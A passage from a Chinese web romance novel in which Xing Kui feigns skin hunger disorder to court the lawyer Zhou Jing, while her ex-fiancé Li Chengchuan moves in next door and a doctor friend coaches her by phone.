“没办法啊,我现在出去,周镜听到响动不就察觉不对了?我今晚只能睡这里,讲讲道理,这是我家的被窝。”江玉鸣抄过她的腰,她撞进他热乎乎的怀里,刚要扑腾,听见他放低声音,“放轻松,我不会动你,你如今的身体,至少一个月不该有剧烈运动。” 那一个月以后呢?邢葵脸颊一热,从江玉鸣怀里向上钻,下巴搭到他的肩窝,她从车祸中活下来,是向菩萨许过睡大帅哥的愿望,但江玉鸣这个人有点奇怪哎。 她低眼偷瞧了眼他的后背,嗅嗅鼻子,白天就闻到他身上有血的味道,这会儿气味不明显了,玫瑰香气中藏着淡淡药味。 “江玉鸣。”邢葵喊他的名字。 “嗯?” 算了,危险的事别问:“我头一次和男人一起睡觉,你要打呼我会生气的。” 江玉鸣低哑的笑声连珠串儿似的落进她耳里:“我也是头一回和女性同床,你要觉得不舒服我会改进的,要是你睡不着,就跟我说说方才周镜和你发生的事。” “嗯……他说……” 第二天,周镜接上邢葵,抢在江玉鸣之前,启动汽车送她回家。 邢葵坐在副驾驶座上,假装玩手机,时不时偷瞄周镜,江玉鸣说,攻略周镜不难,最大的困难在于,他是不婚主义者。 简直地狱难度!江玉鸣你欠揍! “看我干什么?”周镜不自在地投来眼神。 “没,没看你,我看手机呢。”邢葵打哈哈,竖起屏幕,“房东跟我说,昨天我家隔壁新搬来一户,让我去教他读水表。” 周镜转了下方向盘:“嗯,你腿脚不便,到时候我去吧。” “好,谢谢。”邢葵看向车载导航,她住的地方偏离市区,租房价格便宜,也相对贫穷,车窗外的建筑从新时代风格浓郁的高楼大厦逐渐变为墙体昏暗的老房子。 不止她看周镜,周镜偶尔也会瞥她一眼,车驶入老旧的小区,他终于启唇:“昨夜我的提议,考虑得如何?” 昨晚他的提议……邢葵揪住裤子,抠抠布料,江玉鸣教她的内容浮现在脑里。 江医生说,周镜未必真错认为她有渴肤症,但他一定是在怀疑她,因此先假定问题是渴肤症出招。 江医生还说,要她将计就计,先顺着他的思路迷惑他,周镜是不婚主义者,想要让他愿意“假结婚”,得先让他愿意“结婚”,换言之,她得先让他喜欢她。 “那我不算感情骗子吗?我只是想合作哇。” “你就当正常谈恋爱,把找假结婚对象的目的忘掉,你看到周镜不想谈恋爱吗?” 答了想江玉鸣又不开心,邢葵抿抿唇,狐疑她被江玉鸣忽悠了,又找不到证据。 他的话也有几分说服力,原本车祸后邢葵就想体验那些以前有过想法但没做的事,让人生不留遗憾,试问,谁活了几十年一次没有想过和大帅哥谈恋爱? 把假结婚忘掉,正常追男人……周镜开着车,瘦削的手指搭在方向盘,金丝镜框后的黑眸深邃,气质沉稳卓然,是和江玉鸣不相上下又截然不同的好看。 邢葵拽拽鸭舌帽,耳尖发热,江玉鸣也教了她追周镜的切入点,就是三个字:渴肤症。 在听说周镜这样误会她后,江玉鸣笑了很久,然后说,他看周镜才更可能有渴肤症。 周镜比江玉鸣年长一岁,今年三十,三十年人生,除必要时候或被动情况,比如委托人是女性、去买咖啡店员是女性等等之外,他没主动跟任何女性有过一丁点儿接触。 江玉鸣让邢葵去“接触”周镜。 妈妈呀,单是想想邢葵都发抖,捏捏估计热红了的耳朵,艰难从嗓子里挤出对周镜的回答:“好……我考虑好了,以后,以后有需要,我会找你,谢谢你。” 周镜目视前方,食指漫不经心地蹭了下方向盘:“嗯,不用谢,你本性良善,只是一时误入歧途,我会帮你治病,这件事,切记瞒住厉乘川,我不希望我们的友情因此受损。” “嗯嗯。”邢葵点头,厉病友应该是兄弟里的老大哥,老约束兄弟们这样那样,连恋情都要管,“你放心,我绝对不会和他讲的,你帮我保密,我也帮你保密。” 闻言,周镜极小幅度地偏脸,斜视了她一眼,眸光复杂难以描绘,邢葵看不懂,俗话说伸手不打笑脸人,她扬起两边嘴角冲他笑,结果周镜目光更复杂了…… 车驶到楼下停下,邢葵解开安全带,要下车,想到要和周镜接触,又顿住坐回来:“周律师,那个,我家在五楼,楼里没电梯,你方便抱我上去吗?” “报——”鼎天大厦,中间楼层,一名男职员从楼上冲下 来,“都听说了吗?大老板今早心情巨差,线上开会全程臭着脸,谁有内幕消息?谁知道发生了什么?” “陈助!陈助!你清楚吗?透露透露。”有人拉住厉乘川的助理陈泉。 陈泉扯走被拉住的手臂,摆摆手:“不了解不了解,上班呢,小心我打你们小报告。” 当然会心情差,陈泉拐弯走进茶水间,边倒水边撇嘴,厉总放着别墅不住,去住青萍区十几平的蜗居,疯了,就不信他睡得着。 厉乘川确实一夜没睡,贴着春联的邢葵家旁边门里,厉大总裁站也不自在,坐也不自在。 难以想象十几平的屋子内能同时具备卫生间、厨房、床、书桌、衣柜。即使已经安排人打扫干净,也改变不了屋内空间狭窄、光线昏暗,屋外地铁从早到晚轰隆隆地响。 昨天厉乘川搬了进来要做邢葵邻居,昨天就跑了。 他没睡在这里,做过尝试,但在走进占地只有一平的淋浴间后,实在没承受得住,连夜开车离去。 然而回到家,躺在比这间房大几倍的卧房里,厉乘川依旧辗转难眠。问过房东,这是邢葵住在这里的第四个年头,他查了交通才第一次知道,邢葵每天上班来回需要坐三个小时地铁。 一晚上厉乘川都睡不着觉,想不通为什么,邢葵刚入职场时工资是不高,可这两年升到他的秘书,薪水早就翻了几倍,她完全有能力改租更好的房子。 开完线上会议厉乘川就开车回到了他租的地方,并联系房东,以水表为借口,想见见邢葵,却得知,邢葵还没回家。 昨晚厉乘川走时,还以为邢葵是因为腿伤躺床上休息才没动静,结果她是没回家?没回家她能去哪里?她一个腿受伤脑又受伤的人…… 他很担心,屋外传来声响,似有人在走楼梯,厉乘川快步行到门口,手未触碰到门把又放下,是他紧张过度,来人步伐稳健,不可能是邢葵。 几分钟前,楼下,坐车里的邢葵向周镜发出抱她上楼的请求。 换平时邢葵绝不会这么问,她宁愿一级级台阶瘸上去也不会麻烦别人,可现今她要追求周镜,必须勇敢创造机会。 周镜坐在驾驶座,沉默不语地凝望她,镜片后的黑眸如同深泉,邢葵心里怯,盯着周镜的眼神无意识浸满求助,宛似一朵临近枯萎的小花,急需好心人垂怜施水。 厉乘川也不想他的未婚妻枯萎吧? 沉寂数秒后,周镜推门下车,邢葵看着他从车左走到车右,明明就是简单的走路,但因为他模样好身材好气质好,她仿佛看了一场秀。 走完秀的周律师来到她这边,打开车门,看得出来,他没抱过人,手都不知从哪里切入。 “这里。”邢葵隔着大衣袖子抓住周镜手腕,“周律师,不介意吧?” “嗯。” “谢谢。”邢葵抓着周镜的手腕,缓缓穿过后腰,又抓住另一只穿过膝弯,她身上凉,都怕冻到周律师,不好意思地笑,“就这样,你使力吧。” 冰凉和温暖相互传递,周镜垂眸看着她,清瘦的脖颈笔直,置在腰间和膝弯的手上抬,轻易将她捞出车,丝毫不显吃力。 他抬起大长腿关门,邢葵注意到他放在她腰旁和膝盖旁的手指具是蜷着,为人可真知体识礼。 一楼楼梯口,周镜微顿足:“当真没有电梯。” “对啊,我不是说了嘛。”邢葵疑惑打量,“你怎么一副‘楼房竟然能没电梯’的表情?”整得跟他不食人间烟火似的,看他开的车也不算有钱人。 周镜俯视她:“抱歉,我没住过没电梯的楼房。” “……没事,不用道歉,奇怪。”邢葵沿着台阶往上看,“我也就半个月没回来,物业换了一波人吗,楼梯这么干净。” 不过干净也遮掩不住这里的破,楼梯极窄,在外看墙体就够破旧,在内看更是糟糕,土地使用权拥有者为多挣钱,楼与楼之间修建拥挤,即使朝东阳光都稀少,楼里冷飕飕的。 邢葵住在五楼,门推开一股久无人烟的霉味扑面而来,周镜将她放下,去打开窗户,整个过程都蹙着眉心。 “不是我家本来臭,是潮湿。”怕他误解,邢葵关上门赶紧解释,进门左手就是厨房,右手就是卫生间,往前走两步就是床和窗,她看周镜拧眉扫视,讪笑,“麻雀虽小,五脏俱全。” 周镜指向脚下墙壁:“那这个呢?麻雀中毒了?” “潮湿发霉了嘛。”黑绿色的菌斑自底层往上如爬墙虎般蔓延,邢葵瞅了一眼,尴尬地抓头发,“平常不会这样的,真不会,是因为我半个月没在家。” “我不是医生,邢葵。”周镜站在通风的窗户边,由于地方小,他同时也在床边和书桌边,凝视着她,眼里没有丝毫对她经济状况的歧视,温和地道,“但我也有基本常识,你的身体状况,不该再住在此处,如果你愿意的话,我可以帮你找合适的住处。” 邢葵默了一下,抿抿唇:“周律师,我可能犯病了,你能让我摸一摸吗?” 幸好她家小,她不用瘸多少步就能靠近周镜,世人都说大难不死必有后福,好像有位好心的菩萨来到她身边,她想摸摸她的菩萨。 忘掉假结婚,只当追求周镜。 “方才不是抱过……”周镜指尖微颤,拒绝的话语慢熄,邢葵冰冷的指头捕住了他一小节食指,窗外地铁疾驰,车厢震震,轨道擦摩,一节指头逐渐被冰凉吞没。 第二根、第三根……冷雪般的凉意将五根手指全部纳入。 周镜明显僵直身体,强壮镇定地后移脖颈,深灰色衣襟上,喉结随冷热相缠轻微滚动。他既已应诺邢葵,如何躲得,只得偏过脸避开眼神强受。 抓住周镜一只手的邢葵心脏快从胸膛飞出来,救命,好难为情,引诱这种事她也不会啊!周镜这纯情的模样她都被反向勾到了,救救她救救她,接下来怎么做? “刚才那个算什么抱。”邢葵莽撞前冲,扑进周镜怀里,拉着他的五指贴上腰,“这种才算。” 不是睡衣,不像昨晚能感受更多,周镜呼吸变乱,昨晚邢葵的唇在他手心,兴许是屋内灰尘,落在镜片,在他眼前蒙上淡淡的雾。 邢葵用力抓着周镜五指,不准它们蜷起,她专注于此,心脏砰砰直跳,忘记以她的力气不该敌得过周镜,“这种才算,周律师。” 厉害耶!抱到了!邢葵得意地想昂头,一只手按住她的后脑,不容抗拒地将她控住,粗重缓慢的呼吸在头顶响起。 呃……周律师,您超绝敏感肌啊? “呃……可、可以了吗?”几分钟后,邢葵拽拽周镜大衣,“今天治病就到这里?” 头顶上传来咽口水声,周镜松开压住她后脑的手,嗓音发涩:“抱歉,我不曾与异性亲密过,有些失态。” “没关系,多亲亲就好了,啊不是。”邢葵羞赧地捂住脸,“我是说,你要是和很多人亲密过,我也不会选你,有时候我说话也会脱离脑子控制,也请你多担待。” “没关系,我明白。” 两人互相客气道歉,真像一对不太熟的朋友,忽略他们各自泛红的耳朵、以及周镜还搭在邢葵腰上的手的话。 有人敲门,谢天谢地,邢葵长呼一口气:“我去开门。” “我去吧。”周镜收回滚烫的手指,“或许是你的新邻居,我正好去教他看水表。” 他整理着衣裳,走到门边耳尖仍是红的,不过在陌生人面前没什么丢不丢人的,周镜打开门。 “你好,我是你隔壁刚搬来的……周镜?”厉乘川瞬间压下锋利的眉,视线从周镜的脸掠到他的耳朵再掠向房间里正在往脸颊扇风的邢葵。 第17章 毫无疑问,厉乘川就是邢葵的新邻居,而周镜方才在门内抱好兄弟的未婚妻。 门槛外,厉乘川先上下扫视邢葵,确认她平安,旋即面无笑容地看向本该信任的好友:“解释。” 他穿过周镜进门,厉乘川没有透视眼,不知屋内故事,但昨天在交警大队,周镜是和他一起告别的邢葵,结果今天又是周镜送邢葵回来。这其中究竟发生了何,周镜最好跟他解释清楚。 审视又极具侵略性的目光横扫过狭窄房间,厉乘川最终看向窗边邢葵,室内霉味很重,桌面尘埃累积,这些都能看出邢葵昨日确实没回家。 “昨晚你睡在哪儿?”和跟周镜讲话不同,他和她说话时语气下意识柔和。 “这件事我——”周镜从门口走来。 “关你什么事。”邢葵歪头,只觉厉乘川奇怪。 管太多了吧,难怪周镜嘱咐要瞒着你,别当总裁,当教导主任吧。 厉乘川噎住,关他什么事,他在追他本来要结婚的老婆。老婆凶不得,他扭过身,冷冷瞪向周镜,表情寒戾,如一头护食的狼。 “等一下。”邢葵拍上厉乘川的肩,从旁边走到他和周镜中间,才反应过来,“你?新邻居?你为什么会是新邻居?有什么想不开的住这儿?” 厉乘川搬出早就想好的借口:“生意需要,实地考察。” “噢。”邢葵点点头,“我明白了,这剧情我在电视上看过,你计划在这周围建什么设施之类的,那太好了,如果能带动这里的经济发展,外卖种类也会变多。” “……”怎么就想到外卖了。 “这周边连个披萨店都没有,有时候我馋了都吃不到。” “……”需要的话他待会儿安排人开一家。 邢葵!别跟他打岔! 厉乘川有很多问题要问。 比如适才,他没听见邢葵从楼下瘸上来的声音,没听见两个人搀扶而行的脚步声,她是如何上的楼? 再比如他俩进屋子有几分钟了,这几分钟内发生了何事,为何邢葵耳红,为何周镜还不离开? “不过不打紧,我准备搬家了,搬去有披萨店的地方。” 厉乘川愕然抬眼,口中未说出的音节零落,邢葵神情松弛,窗外送来的风吹拂她的发丝,地铁很吵,她的心却异常宁静。 笑着看向周镜,“我其实以前就想过要搬家,刚刚周律师建议了我,让我想了起来,我打算实现曾经的想法。” “为何曾经不搬?”厉乘川很清楚邢葵薪资,至少两年前她就有财力租比这好几倍的房子。 邢葵不好意思地笑,皱了下鼻子:“因为之前我想攒钱买房,你是总裁你不懂。”看了眼周镜,“你是男的你也不懂,绝大多数男性买房都有父母资助,绝大多数女孩子买房只能靠自己。” 很多家庭都如此认为,生了个儿子,得为儿子存钱买房买车,生了个女儿,存个嫁妆就行。 看到同龄的男同学、男同事有了房,邢葵羡慕,羡慕的未必是房子,而是为什么儿子能有女儿不能有,她不服气,她想证明她比那些需要父母交首付的儿子好。 “我以前很想买房,但京江市房价太贵了,首付我至少要攒五十万。”邢葵抬起手指扒拉,“我刚毕业时工资一个月八千,哪怕我不买衣服买零食,每个月房租、餐费、水电、交通也最少要三千五,我一年只能结余四万多,而且我不可能不买衣服,多少要买几件。 还有同事过生日、同事孩子过生日、同事父母过生日……人情费也是巨大的支出。” 即使如此,“去年我攒到了五十万,可我总想着再攒一点,再攒一点,买更好的房子,然后我差点被车撞死。” 人生鸣奏曲差一点在十几平的蜗居中停奏。 去他的买房!以后她要住得舒舒服服! “所以我要换地方住啦。”邢葵扬起甜笑,“只是医生说我近几周内都最好卧床休息,找房、搬家都挺费精力,我再在这里住几周再走。” 周镜:“我帮你找房。” 厉乘川:“我帮你搬家。” 两人近乎同时说道,厉乘川冷睨了眼好兄弟,俊美的面容凝覆一层寒冰,想到邢葵说,周镜建议她换房,厉乘川又平静下来。 看来他们独处时就是在谈论这个。周镜性格厉乘川十分了解,看着和善近人,实质谁都不亲近,兄弟中他俩最彼此欣赏,他怀疑谁都不能怀疑他。 厉乘川对周镜点点头,周镜也顺水推舟,同向厉乘川点头,掩盖了他答应为邢葵治病一事。 看向邢葵:“昨天你腿疼,留宿江玉鸣家里,要不在找到新住所前,你就暂住在他家,或者我家。” 三言两语间,周镜顺便解释了昨天邢葵未归的缘由,厉乘川会意,望向周镜:我家呢? 周镜没作理会,都分手了住一起不妥当,提出来都多余。 无论如何,这间霉菌滋生的房,没有人想让邢葵再待一天。 邢葵低头思考起周镜提议,江玉鸣家里有现成她住的房间,睡衣、拖鞋、洗漱用品一应俱全,但她要攻略的是周镜:“周律师,住你家方便吗?” 厉乘川抢答:“他家就他一个人。”并且周镜白天很少在家,都在外工作,等于邢葵一个人住,“正好,我家与他家相邻,你来了我们依然是邻居。” 周镜微蹙了下萧疏墨眉,没反驳这件他第一次听说的事:“决定好的话,收拾你要带的东西,我们走吧。” 五楼楼梯前,掉漆的扶手旁,厉乘川黑色西装笔挺,容貌尊贵,自带气场,与四周破旧环境格格不入,邢葵锁上屋门,扭头扫了他一眼,嚯,好一副霸总下乡图。 再看一边提着大包小包的周镜,也贵气不凡,上楼是周镜抱她,这会儿下楼厉乘川在,她还是自个儿瘸下去吧。 邢葵要抓扶手,手腕却被厉乘川攫住:“等等,我抱你下去。” 不等她回答,厉乘川不容反对地拦腰将她抱起,僵着一张脸径直往楼下走去,邢葵想来,他八成是在阻拦她和他兄弟接触,背着厉乘川,对周镜做了个锤厉乘川的动作。 周镜中指提了下金丝镜框,拎着袋子跟上他们,边下楼边翻出手机,搜索他家附近外卖,有披萨店,息屏手机。 来回奔波,邢葵身体受不住,路上便乏累到睡着,她和厉乘川一起坐在周镜车后排,自然而然地歪了头,靠到某处,感觉有点硬,又往另一个方向歪。 厉乘川将人拉回,塞进怀里,邢葵皱着眉蹭了好几下,才终于安稳,有月牙的手指抚抚她的头发,厉乘川嘴角极轻地弯了弯。 开车的周镜盯着后视镜,深邃的眸里划过了然,他就知道,厉乘川还喜欢邢葵,幸好他拦住了邢葵去找江玉鸣,没让这段关系走上绝路。 “你家周围有披萨店。”厉乘川拿着手机,做了刚刚周镜做的事,因为邢葵在睡觉,声音极轻,“今晚我睡你家。” 周镜开着车:“不是该睡我家隔壁?” 厉乘川:“你都会开玩笑了?我会是她的邻居,但房子还没购置,放心吧,到时候就说昨晚我睡在青萍,家里一天没打扫,因此在你家借住一晚,她了解我洁癖,会相信的。” 周镜:“借住一晚一千。” 厉乘川:“可以,包括邢葵留宿的费用,我都会按天给。” 驾驶位,周镜斜视了眼后视镜,没开口拒绝收钱,收钱厉乘川才不会多想。 车后排,厉乘川重新低头注视起邢葵,眼神心疼又贪婪。 夜幕降临,周镜住的小区不及江玉鸣住的高档,就是一般的民宅,他家面积也比江玉鸣家小,不到一百平,胜在装修隔音极好,清净,邢葵挺满意。 屋子里有许多书,书房还有一盘未下完的象棋,她的卧房就在书房对面。 邢葵坐在床边,周镜给她搬来一张灰色的鹅绒被:“家里只有这种颜色的被子,你要不喜欢,我去买条新的。” “不用不用,这样就挺好的。”邢葵环抱住灰被褥,仰着病弱的脸望着他,看起来纯洁人畜无害。 今天这张脸曾在他的怀里,在车上又在厉乘川怀里,周镜低眼,一双灰色的拖鞋正套着她的脚,是他的,她的肤色穿黑色好看,但穿灰色也很衬。 足跟 踢了踢床板,晚饭点的外卖,披萨加一些蔬菜水果,邢葵吃得开心,心情好,话也多,看了眼墙,墙后是厉乘川房间:“你这兄弟真夸张,家里一天没清洁就不肯住,就一天哎,你知道这说明了什么嘛?” “说明什么?”周镜盯着他的鞋。 “说明你干净得让洁癖男都放心。”邢葵倾身,昂着脸冲周镜灿烂地笑,好似会发光的小葵花。 光芒照进镜片之后,周镜微绷下颌线,失神须臾:“别在厉乘川面前说这样的话,上床吧,你得让腿休息,不能总弯着。” 脚离开拖鞋,邢葵边挪上床铺边道:“知道啦知道啦,我肯定会瞒着他的。” “我去给你热杯牛奶。” “好,谢谢。”看着周镜阖上门,邢葵从枕头取出手机。 江玉鸣医生:【怎么样?我们好孩子今天可有战果?】 厨房,厉乘川正在热牛奶,周镜走过来,看到他正在做的事,走向冰箱,取出一盒不同品牌的牛奶:“那款加热过没有这款好喝。” 厉乘川望了他一眼,拿过牛奶盒倒出一杯闻了闻,倒掉锅中原先的牛奶,重新加热。 他端着奶离开,身后,周镜睨了眼他使用过的锅底,一层糊,厉总不食人间烟火,并不会热牛奶。 门响,发着信息的邢葵火速将手机塞回枕头:“厉乘川?是周镜托你来送的吗?” “和他有什么关系?”厉乘川僵下脸,递来奶杯,黑漆漆的眸子盯住她,“你和他才见面两天,小心一点,周镜聪明冷静,把你卖了你还会替他数钱。” 邢葵接住牛奶,糊味冲鼻,她皱眉喝了一口,哇,好难喝。 你们兄弟真奇怪,怎么都好背着兄弟说对方坏话。 “知道了知道了。”我跟你更不熟!快走! 劝走厉乘川,邢葵飞快放下杯子,太难喝了,她必须得去漱一下口,脚刚从被子伸出,门又被打开,以为是厉乘川折返,她快速收脚,抬头才看见是周镜。 周镜反手关门,端着一杯香喷喷的热牛奶走近:“喝这个,厉乘川要帮你热,我不好拦。” 好喝的牛奶入喉,邢葵幸福得靠到床边,双手捧住牛奶杯喟叹:“这才是人该喝的啊,谢谢周律师。” “喜欢就好,那我不打扰你。” “等等周律师。”邢葵咽下嘴里牛奶,喊住他,枕头下面江玉鸣正在来电,她要记得攻略周镜,抬手揪住周镜衣裳,闭紧眼睛快到听不清地道,“我能给你个晚安吻吗?” “什么?”周镜听清了,但是…… “就是晚安吻,周律师,我有病,我亲不到你睡不着觉。”说都说了,邢葵一不做二不休,干脆抬起身子,吧唧亲上周镜下颌,“可以了,你走吧。” 一碰即离,邢葵缩回灰被,心虚得埋头捧住牛奶啜饮,口腔内牙齿都打起颤。 阴影洒到她眼前,她一惊,周镜竟没走还坐到了她床边,一双理智的眸子锁定住她。 “我有没有说过,我不是医生,但我有基本常识,渴肤症是这样的吗?邢葵,你看上去一点也没有因为亲到我而满足。” 第18章 渴肤症,顾名思义,渴望皮肤贴贴,肤与肤的贴贴就是救患者病的药。 邢葵再怎么大胆去和周镜接触,她毕竟不是真有渴肤症,她没有吃到药后得救了的反应,因此惹来了周镜怀疑。 不行! “你怀疑我?”邢葵仰首反问,紧急找补,江玉鸣告诉过她,周镜本就未必真觉得她有渴肤症,只不过是先以此试探,她不能一天就露陷。 “我当然不会满足,我就亲了你下巴一下,我想要的根本不止下巴!我想亲你的嘴,亲你的脖子,亲你脖子以下!” 因为害怕邢葵眼里湿漉漉,反倒显出几分委屈,越说越害怕,更想哭,更显委屈。 “你怀疑我,我根本没亲到我想要的,我满足什么啊满足!我每个细胞都叫嚣着想把你缠到这张床上!我有病,我怕你觉得我有病,我不敢,我只能亲亲你的下巴。” 不能再说了,再说脑子要撑不住讲胡话了,哭吧。 “别哭。”周镜听着她凶,注视着她愣神少顷,瘦削的手撑住额头,“我不知道你是这么想的。” 邢葵瞪向他,眼眸水汪汪:“你知道什么呀。” 她本就是闪亮的好人,周镜警惕她,也会下意识信任她,放下手:“你想要的我不能给你,我至多同意皮肤接触,刚才的亲已经出了格。” 邢葵:“行,我这就给江玉鸣打电话。” 一只手按住她要抽手机的手腕,止住她的动作,周镜眼神颇为无可奈何:“你不能拿江玉鸣威胁我,何况就算江玉鸣会暂时配合你玩,他也不会愿意更多触碰。” 谁说的,江玉鸣乐意着呢。 “那你想怎样?你答应给我治病却只治表皮,没有你这样的,周律师,你这样跟要我饮鸩止渴有什么区别?你要我抱着被子自///喂吗?”完了,说胡话了。 “什么?” “我说,这被子是你盖过的吧,你不让我亲,又说要帮我治病,难不成你要我抱着这张有你味道的被子自///喂?”完了完了,脑子管不住嘴。 还控在她手腕的手指动了动,周镜平静的脸出现微不可见的裂痕,神情涌现复杂,感觉他要说什么,邢葵想凝神听,但她有些失控,凝不住神。 “就你这又大又小的胆子,你要一边哭一边自吗?” 他说啥,没听清,不管了,她不能露馅,邢葵往前挪了挪,捧住周镜一只手:“周律师,我求求你,治病治到底。” 金丝眼镜后的黑眸凝望她,好看的唇张张合合,似发出一声无奈叹息:“不准亲脖子以下。” “不亲……欸?好好好。”邢葵眨眼,“那我要亲嘴,现在就要。”太好了,应该骗过去了,周镜该被气走了。 “好。” 好?好什么好?!她没真要亲啊!邢葵惊恐,目光湿润又惧怯,松开周镜的手往后退缩,后背抵到冰冷坚硬的床头。 “邢葵,要治病你可不能胆小。”周镜起身移了下位置,坐得离她更近,眼神说不上清明温柔还是暗藏试探,他大概看不懂她,想拨开她看看真相,温热的掌心贴到她的脸,指腹蹭掉一滴泪水,“我会试试,接受不了我会停下。” 他说是谁接受不了啊?是不是在说他自己?还是他们双方? 周镜俯下透着矜贵绅士气质的脸,缓慢地压缩他们间的距离,慢到邢葵能在眼中描摹他嘴唇的形状,是薄的,但要比厉乘川厚些,不及江玉鸣,也惹眼。 太慢了,周镜绝对没打算真的亲,在等她主动躲,镜片后他的睫毛如此漂亮,根根分明,邢葵随着他的接近也本能慢慢缓下呼吸。 可人总要呼气吸气,唇和唇间隔缝隙,她撑不住吸了一口气,空气擦过两人唇瓣罅隙,伴随她的呼气,空气在间隙合并中破碎。 唇贴在一起,周镜眼睫颤抖,要后退。 贴都贴了,邢葵震惊一瞬后勾住周镜脖颈,阻止他退缩,演一个合格的渴肤症患者,紧闭双眼,浑身冒胆地吻了上去。 冰凉又柔软的唇肉犹如莽撞的棉花,冒冒失失地压到周镜唇上,诚如周镜评价,她胆大又胆小,亲就亲,不敢伸舌-头,睫毛悬颤晶莹水珠。 好怕好怕好怕,幸好只是亲嘴,亲别的她也不会,亲嘴最近才学的! 牛奶的味道反复沾染嘴唇,她努力地想渴肤症该有怎样的表现,把周镜的嘴当作好吃的,吮吮咬咬,完全不知这对周镜有多折磨。 气味停留在唇瓣,不进去,也不离开。 陌生的、周镜未经历过的感觉缭绕在他的双唇,不进不离,如棉花做的电刀碾磨着他的神智,一刀、两刀、三刀。 又一次吮上,周镜呼吸加促,终是忍不住,两只有力的手捧住邢葵的脸,刹那就撬开她的牙关。 “邢葵,什么叫治病治到底,别浪费我时间。” 邢葵愕惊,紧闭的双目都吓得睁开来,又赶紧闭上,躲还是不躲,这是一个问题,好像也躲不了,她调整节奏,换起气,免得丧失呼吸。 谁教她换的气?厉乘川吗? 亲吻变得更重,邢葵几乎无法发出声音,湿软搅动的舌占据口腔,耳边响着周镜的喘息,舌根都隐隐作痛。 大腿微微战栗,邢葵瘫软后缩,一只滚烫的手钳住她的腰身,不让她半途脱逃,大拇指按陷她的腰窝,吻也变得更加密不透风。 香涎在喉咙滚动间吞咽,邢葵胡乱移手,眼尾都挤出水珠,虽然是她要的晚安吻,可这个晚安吻的时长超过她的预料,如此激烈,好在周镜家隔音极佳,就算他俩搞得床嘎吱响,隔壁厉乘川也听不见。 咚咚,有人敲门:“邢葵,睡了吗?” 邢葵瞬时后背大汗淋漓,周镜也撤退开来,眼睛有些红地盯着她,他伸出大拇指擦上她的唇,抹走唇上潮润,转身走进衣柜中。 “快睡了,干什么?”邢葵擦了两把嘴,捞过床头柜上没喝几口的牛奶捧住,恍惚觉得她打开了不能碰的魔盒。 厉乘川走进房间,眼神立时变化:“你的嘴怎么这么红?” 邢葵战术性喝奶:“太烫了,你送来的不太好喝,我自己又去热了一杯,就被烫到了。” “不好喝?你可以与我直说。”厉乘川端起他送来的那杯牛奶,没有起疑,黑瞳对着邢葵,“我想想有必要再叮嘱你一遍,这些天你住周镜家,务必小心谨慎,和他保持距离,他看着温润,危险藏于无形,惹到他,什么时候将你的军你都不清楚。” 邢葵深以为然,重重点头,不过厉乘川,你说你兄弟坏话被听见了你知道吗? 衣柜光影斑驳,通过缝隙盯着他们的周镜单指推了一下眼镜,镜片后的眸子冷静得吓人。 屋内人数重新回到两个,周镜从衣柜走出,凝视厉乘川关上的门,转身,走到邢葵身边,居高临下地抬起她的头。 “刚刚点头有几分真心?” “……”十分?又不是她讲你坏话!她赞同也要被连坐啊? “因为你,令我们兄弟嫌隙,很不好。” 邢葵无辜地望着他,他似乎并未因为偷听到厉乘川让她戒备他生气,只是镇定地取下眼镜,“过来,我们得尽快治好你的病。” 第二日早,厉乘川不再有留在周镜家的借口,必须得离开:“邢葵还没醒?” “嗯。”周镜站在门口,“她昨天累坏了。” “也是,来回奔波。”黑色皮鞋迈到门外,厉乘川不疑有他,“我很快会搬过来,这几天她要有什么地方惹到你,别往心里去,她生病了,是个病人。” 周镜温和颔首,眼神宁静如水:“我明白,她生病了,是个病人。” 门关上,周镜后背抵着门站了一会儿,抬腕看向他手腕上金灰色的手表,提步走向书房对面邢葵的屋子。 门开,躲在被子里的人抖了一下,瑟缩着冒出一张脸,唇显而易见的红肿,再笨的人都能猜到昨晚亲得有多猛烈。 “还不去洗漱?”周镜捞出她,脱离暖和的被子,邢葵有点冷地抖了抖,一件外套披到她身上,“去刷牙,快到我上班时间了,在那之前还有空给你个早安吻。” 邢葵迈下床的腿一软,一进卫生间立刻锁上门,不要早安吻!晚安吻也不要!她掏出手机,该死的江玉鸣出的馊主意,光说周镜不会嫌弃她的疤,也没说他接吻那么大劲啊! 昨晚太晕了,江玉鸣发的消息她一条没回,电话也没接。问她战果,去你的战果,周镜都快把她亲晕了。 她要骂江玉鸣,一定要骂江玉鸣。 “五分钟。”门外传来声音。 什么五分钟?周镜让她五分钟洗漱完!“不行,我要十分钟。”邢葵冲门外喊了喊,打开水龙头慌忙洗脸,拿过洗手台上薄荷味的牙膏,顿住手。 她干嘛紧张,江玉鸣说过,周镜极其守时,超过时间他就会走,邢葵挑了下眉,放慢刷牙速度,仔仔细细刷遍口腔每一个角落。 约莫一刻钟后,估计周镜该去上班了,邢葵悠悠闲闲打开门:“呃……呵呵……” 周镜站在门外,衣衫整齐,在她讪笑中一迈长腿,俯首落吻。 妈妈!她为什么要谎称她有皮肤饥渴症!周镜一走,邢葵迅速缩到床角打电话给江玉鸣:“江玉鸣!” “这么有活力?”辉德医院,江玉鸣洗着手,一听到邢葵嗓音便上弯嘴角,“真叫我伤心,昨晚没你的床我都睡不着。” “那你听到我搬进了周镜家是不是更伤心?你少贫嘴。” 江玉鸣洗手的动作一顿,抬手甩了甩水,简单的动作由他做来昳丽生辉:“战果颇丰啊邢葵,跟我讲讲发生了什么,周镜怎就这么贱了。” 哪里贱了,就是力气大了些,邢葵摸摸红肿的唇,直觉告诉她在背地能轻易骂兄弟贱的江玉鸣更危险,将想说的话吞回:“没发生什么,是我家太破他看不下去,让我在找到新房子前暂住。” “还有吗?” “还有……”邢葵抿唇,“我家没有电梯,我让他抱我上的楼。” “还有呢?” “没了。”邢葵钻进被窝里,掖好被角,“你想听什么我给你编。” 江玉鸣低笑一声,笑声短促却挠心挠肺:“你可以和周镜更亲近些,他近期刚做过体检,健康得很,以及你和我通话要注意,周镜是律师,他家里处处有监控。” “啊?”邢葵坐直。 江玉鸣擦干手:“他还不至于在你卧室里装,先这样吧,我有台手术。” 电话结束,邢葵看看房间左上角,看看右上角,又瘸去卫生间,盯着浴霸看了半晌。 没那么变态啦,卧室和卫生间都没监控,但还挺奇怪的,怎么厉乘川和他的兄弟都有体检报告,救命恩人许野救她的那天也是去医院体检,对了!帽子! 忘掉了!她想还许野帽子的,前几日还请江玉鸣帮她拍照片发到网上找同款。 邢葵点开小红薯,“99+”的消息栏鲜红晃眼,看得她一懵。 